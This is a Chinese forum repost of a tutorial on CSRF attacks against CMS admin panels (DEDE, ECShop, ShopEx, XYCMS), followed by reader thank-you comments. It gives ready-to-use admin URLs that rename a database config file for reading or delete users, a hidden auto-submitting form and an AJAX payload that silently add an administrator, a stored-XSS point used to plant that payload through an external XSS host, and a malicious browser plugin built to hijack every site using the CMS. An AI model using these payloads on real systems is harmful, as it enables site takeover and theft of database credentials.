【网络收集】关于CSRF漏洞的一些知识

XSS

漏洞描述：
如果说XSS是一个老虎，那么CSRF就是隐藏在暗处的蛇。目前CSRF已经由获得前台用户身份，开始转向操控管理员后台功能。这种转变带来的权限更大，危害也更大。 受影响的包括DEDE,DISCUZ,ECSHOP,SHOPEX等等，都应该提高防范。当然，网站站长也需要保护好自己的菊花。

漏洞内容：
几乎所有公开程序都存在类似的严重风险。
当然，一个前提是必须知道管理目录。
一般来说只要后台目录不泄漏就没有问题。但是很多网站很难逃过枚举扫描。
毕竟管理员自己也要记忆，不可能起完全没意义的名字。
一旦后台目录可知，那么整个网站就等于不设防了。
虽然DEDE后台多数功能默认采用的是POST方式，但是实际上DEDE的POST改成GET同样有效。
下面就以获得数据库连接信息为例：
<code>http://www.XXX.com/dede/file_manage_control.php?fmdo=rename&activepath=%2Fdata&filename=common.inc.php&oldfilename=common.inc.php&newfilename=common.inc.php.txt&imageField1.x=34&imageField1.y=18</code>
这个链接可以将数据库关键文件 common.inc.php 改名为 common.inc.php.txt，然后通过浏览器直接读取即可获得。之后还可以再改回原来的文件名。
这仅仅是简单的例子。实际上，通过DEDE后台所有功能（除了添加管理员需要填写验证串），其它都可以通过这样简单的连接完成。比如利用SQL命令行直接操作数据库。
想要让这个链接工作，仅仅需要在网站任何地方插入一个图片（比如评论或留言），然后引导管理员访问——或者等待管理员访问。
DISCUZ的就不用举例了
ECSHOP： 删除任意ID会员： http://www.XXX.com/admin/users.php?act=remove&id=2
SHOPEX: 删除任意栏目： http://www.XXX.com/shopadmin/index.php?ctl=content/sitemaps&act=toRemove&p[0]=2&_ajax=true&_ss=setting,site

即使是一些限制很大的公开程序，依然可以通过寻找后台XSS的方式，直接获取管理员COOKIE。
因为通常前台XSS过滤很严格，而后台很宽松，所以后台可以反弹的简直一抓一大把。方法是，下载一个和目标站一样的版本程序，架设好，然后自己研究后台的功能看哪里有XSS点吧。

不过这个就不在讨论之内了。

当然，说到底，最关键是后台目录，只要知道了后台目录，就几乎掌握了整站。                     
‍‍‍‍‍‍
相信现在很多人不明白CSRF是怎么运作，他和XSS的不同是在哪里。我这里就逐步为大家解释，并从浅入深的介绍CSRF。‍‍
‍‍入门‍‍‍‍‍‍
‍‍我们先来看看CSRF和XSS的工作原理，先让大家把这两个分开来。‍‍‍‍‍‍‍‍‍‍
‍‍XSS：‍‍
‍‍
攻击者发现XSS漏洞——构造代码——发送给受害人——受害人打开——攻击者获取受害人的cookie——完成攻击‍‍CSRF：‍‍
‍‍
攻击者发现CSRF漏洞——构造代码——发送给受害人——受害人打开——受害人执行代码——完成攻击‍‍而且XSS容易发现，因为攻击者需要登录后台完成攻击。管理员可以看日志发现攻击者。‍‍‍‍
‍‍而CSRF则不同，他的攻击一直是管理员自己实现的，攻击者只负责了构造代码。‍‍
‍‍我这只是简单的说明下流程。大伙应该发现CSRF少了一个 获取受害人的cookie的步骤。为什么会少了呢。因为受害人在执行代码的时候就已经完成的攻击，而攻击者并没有参与进来。‍‍
‍‍举个例子来说吧(受害者的网址是a.cn，攻击者的网址是b.cn)攻击者想要在某个网站(网站是某个开源CMS)添加上另一个管理员，但是这个网站并没有XSS漏洞。怎么办呢？这时攻击者发现了这个开源CMS后台添加管理员时并没有加入验证码或则token，只需要输入要添加的管理员账号和密码点击确定就可以添加管理员账户了。这时和我一样聪明的攻击者在自己的服务器上建立了一个html文件(假设地址是b.cn/index.html)。然后就给网站管理员发邮件等等，诱使管理员打开b.cn/index.html。当管理员打开后（这时管理员正在网站后台，或则管理员的session并没有失效的话），就可以神不知鬼不觉的在网站后台添加了一个管理员账户。‍‍
‍‍相信这时大伙已经明白CSRF和XSS的区别了，不是太明白也没事，下面还有。
‍‍接下来我先给大家介绍一个软件，在运用实例来详细的说明CSRF。
‍‍OWASP CSRFTester：‍‍
‍‍这是OWASP推出的CSRF半自动化软件，他省去了CSRF最繁琐的过程，代码构造。下面是软件的截图‍‍


‍‍这款软件是由java编写的，所以在运行软件之前需要事先安装java环境，cmd窗口是告诉我们此时软件正在监听8008端口。软件的大致介绍就到这，后文我将进一步的说明。‍‍
‍‍这里我选择了“XYCMS中心小学建站系统”‍‍

‍‍OK，我们进入后台a.cn:88/admin，账号密码默认都是admin。进入后台，我们选择“管理员管理”‍‍


‍‍我想细心的人已经发现了。他只要求你输入账号 密码 确认密码。没有发现验证码验证。我们在浏览器里代理下8008端口(虽然网站是88端口，但是还是可以监听到数据，所以不必在意网站是88，软件监听的是8008的问题。因为在浏览器里任何数据都必须要经过8008，网站虽说是88端口，但是数据还要转到8008端口)。然后用软件看下有没有token的存在(你也可以用burp、fiddler等等)。‍‍
‍‍点击开始‍‍

‍‍我们在网站里输入账号和密码。‍‍

‍‍点击提交数据后，软件就会抓到数据包了。‍‍

‍‍下面4个是傲游浏览器发送的，把他们删除。第二个是跳转，我们也把他删除。‍‍

‍‍我们发现并没有找到token的值，那么我们就可以来实现CSRF攻击了。‍‍
‍‍看到下面的Report Type了么。这些是让你选择用什么方法来进行攻击。‍‍
‍‍Forms：创建一个form表单。内容为hidden(隐藏)，用户不可见（可POST、GET）‍‍
‍‍iFrame：创建一个iframe框架，高宽为0，用户不可见。（可POST、GET）‍‍
‍‍IMG：创建一个IMG标签(只能GET)。‍‍
‍‍XHR：创建一个AJAX请求(可POST、GET)‍‍
‍‍Link：创建一个a标签的超链接(只能GET)
‍‍‍‍OK，介绍完了。但是呢，这五个里，我只推荐第一个。原因有下：‍‍
‍‍第二个容易找不到对象(如果你是新手，对JavaScript不熟的话，不建议选择这个)‍‍
‍‍第三个只能发送GET请求，有限制。‍‍
‍‍第四个有跨域限制，有的浏览器不允许发送跨域请求，除非网站有设置。‍‍
‍‍第五个需要点击才能触发(当然可以修改为自动触发)，还有一个是他也只能发送GET请求。‍‍
‍‍Ok，我这时选择forms选项，他会生成一个HTML文件，而且会自动打开，如果不成功不要灰心，这个软件不是特别的完整，有些地方需要改进。不成功的话就打开HTML改下源码，参照浏览器的审查元素就行。‍‍

‍‍‍‍点击Generate HTML来生成，生成好后，把生成的index.html放到b.cn下。诱使管理员打开，管理员打开后，将会是这样：‍‍‍‍

‍‍成功了，我们在后台看下。‍‍

‍‍可以看到成功添加了。‍‍
‍‍我们可以把这个index.html放到自己服务器上，又是管理员打开，然后了管理员当时正在后台，或则管理员的session没有过期，你可以在网站留言板里吧网址写上去。就可以完成CSRF攻击了。
‍‍这里我不用上面这个软件，再完成一次攻击‍‍
我‍‍想入侵一个网站，得知这个网站使用的是XYCMS，于是我在网上把XYCMS源码下载下来，分析下。我发现在后台添加管理员的地方没有token验证，于是我就走上了构造带代码一路。‍‍
‍‍F12看下添加管理员的链接是什么‍‍

‍‍打开此链接就是添加管理员的地方。‍‍

‍‍Ctrl+U 看下源代码，把form标签里的内容全部复制下来，放到本地的html文件里。去掉没用的代码。就像下面这样：‍‍

‍‍OK，现在我们来改下，把action改成目标网站(a.cn)，然后在input类型为text的地方，加上Value的值，这个值就是你要添加的管理员账号和密码，改后为：‍‍

‍‍我们打开测试下，看能不能添加管理员‍‍


‍‍点击“提交数据”‍‍

‍‍添加成功了，剩下的就是自动提交了，这里就要用到JavaScript了。‍‍

‍‍打开后，自动添加了。接下来就是让表单隐藏，我们加个style让form为隐藏就行了。像下面这样：‍‍

‍‍一个csrf网页就完成了，上传到b.cn，诱使管理员打开就行了。
进阶
‍‍相信细心的人已经发现上面是一个1.html文件，需要诱使管理员打开，而且他还有弹窗。太被动了，想用ajax来发送吧，又需要跨域。怎么办呢？这里我们可以结合XSS来完成攻击。‍‍
‍‍在之前XSS系列我说过一句话“XSS就是让对方执行你的JS代码”，聪明的人已经想到了，那就是把CSRF的AJAX请求放到XSS里，以达到攻击的效果，具体怎么做到呢，看完这一节，你就会了。‍‍
‍‍首先你要挖到一个XSS漏洞(反射、储蓄都行，当然储蓄更好。因为这个CMS特别小众，几乎没人用，所以在前年挖到这个漏洞时，就一直放那没动过)。找到一个储蓄型XSS，在根目录的add_book.asp文件里。‍‍
rs("title")=trim(request.form("title"))rs("sh")=request.form("sh")rs("ly_name")=trim(request.form("ly_name"))rs("tel")=trim(request.form("tel"))rs("email")=trim(request.form("email"))rs("body")=trim(request.form("body"))‍‍title留言标题  ly_name姓名  tel联系电话  email联系邮箱  body留言内容存在XSS(不想吐槽了)
OK，因为上一节已经说了添加管理员无认证的漏洞了，我也就不多说了。
提交的时候抓包下，然后根据数据包来写ajax代码(之所以没用那个软件来生成，是让大家更加深刻，同时也不要太依赖软件)‍‍
‍‍下面就是我自己写的一个ajax：‍‍
var xmlhttp;if(window.XMLHttpRequest){  xmlhttp=new XMLHttpRequest();  }else{  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");  }xmlhttp.open("POST","/admin/admin_manage.asp?act=add",true);xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlhttp.send("admin=123&password=admin&password3=admin&button=提交数据");
‍‍生成好后，得到地址http://xss8.pw/0IrU5I?1420780331
OK，我们去留言板上插吧。
‍‍
之所以没用全插，是因为这样做的话，管理员一打开就会多插几个账号。

管理员打开后的样子，这时候其实已经在后台添加了管理员。

深入

‍‍我之前在http://www.freebuf.com/articles/web/55505.html和http://www.freebuf.com/articles/web/54686.html谈到过插件安全。这里我教大家一个猥琐的CSRF技巧。‍‍
‍‍现在的我掌握了这个CMS的CSRF漏洞，我想让所有使用这个CMS的网站全部添加管理员怎么办呢？我们可以用插件。‍‍
‍‍首先建立一个ceshi目录，在里面建立一个def.json文件，内容如下：‍‍

然后我们在同目录下建立一个test.js文件，在里面写入下面这些代码：

for的存在是让他只运行一次，只不过因为这个是在插件里，当你打开一次页面他就会重新加载这个js。也就是说，如果管理员一直刷新页面，那么就会出现和刷新次数一样的账户，之所以加for是因为如果你不加，刷新一次会添加几个账户，而不是一个。
然后用MxPacker软件打包成maxthon插件，双击安装后，就会发现已经在后台添加了账户。

如果你账务了几个CMS的CSRF漏洞，那么你可以结合到一个插件里，价格if判断是哪个CMS就用哪段CSRF攻击代码。
注意
攻击者事先要知道对方使用的是哪个CMS。像那些自己写的，网上没有的程序。几乎不可能用CSRF来完成攻击。
XYCMS下载地址：http://pan.baidu.com/s/1qWJRZGS
CSRFTester下载地址：http://pan.baidu.com/s/1qWE2tIW
index.html源码下载：http://pan.baidu.com/s/1sjJkcrj
Index.js下载：http://pan.baidu.com/s/1jG3PoGm
遨游插件结合CSRF(包括了MxPacker)：http://pan.baidu.com/s/1ntJso0T


以上文章部分来自乌云，部分转载自FreeBuf，如果存在侵权，管理可以删除

a13775647904

转载地址呢~

PHPadmin

             .................

somoker

谢谢大神分享。。

gscld

感谢分享   收藏了

csadsl

你应该贴上转载地址

热心网友3

楼主讲得很详细，特别是CSRF和XSS的区别那一段，用对比流程和实际例子让人一下子就能理解。以前总把这两个概念搞混，现在明白CSRF更像是在“借刀杀人”，攻击者不直接拿cookie，而是让受害者在不知情的情况下执行了攻击者的请求。 你对后台目录重要性的提醒也很关键，很多站长确实容易忽略这点，以为把后台改了名就安全了，但一旦被扫出来，后面的功能几乎全暴露。那个改文件名读取数据库配置的例子虽然简单，但确实能说明问题。 工具部分我还没用过OWASP CSRFTester，不过听你这么讲感觉可以省去手动构造CSRF表单的麻烦，回头试试。对了，像DEDE那种POST改GET也能生效的情况，是不是很多CMS都有类似问题？楼主有遇到过其他系统这种“请求方式不严格”的例子吗？

热心网友6

感谢楼主的分享，这篇文章对CSRF漏洞从原理到实例都讲得很清楚，尤其是对比XSS的那段流程图，让我一下理解了为什么CSRF更隐蔽——攻击者不需要拿到cookie就能让受害者“自己动手”完成操作。后台目录可枚举加上缺乏token/验证码的设计确实是一个常见高风险点，DEDE那个改文件后缀名的例子也很有启发性。期待后面关于OWASP CSRFTester的具体操作演示，正好想了解一下这个工具的实际用法。

热心网友2

楼主这篇帖子总结得很到位，CSRF确实经常被忽视，但危害一点不小。尤其是你举的DEDE改文件名那个例子，直接改后缀就能拿到数据库配置，思路很清晰。后台目录保密确实关键，但很多站长图省事就用默认路径，给了攻击者可乘之机。后面用OWASP CSRFTester做演示也很直观，能帮新手理解CSRF是如何在管理员不知情的情况下完成操作的。感谢分享，收藏学习了。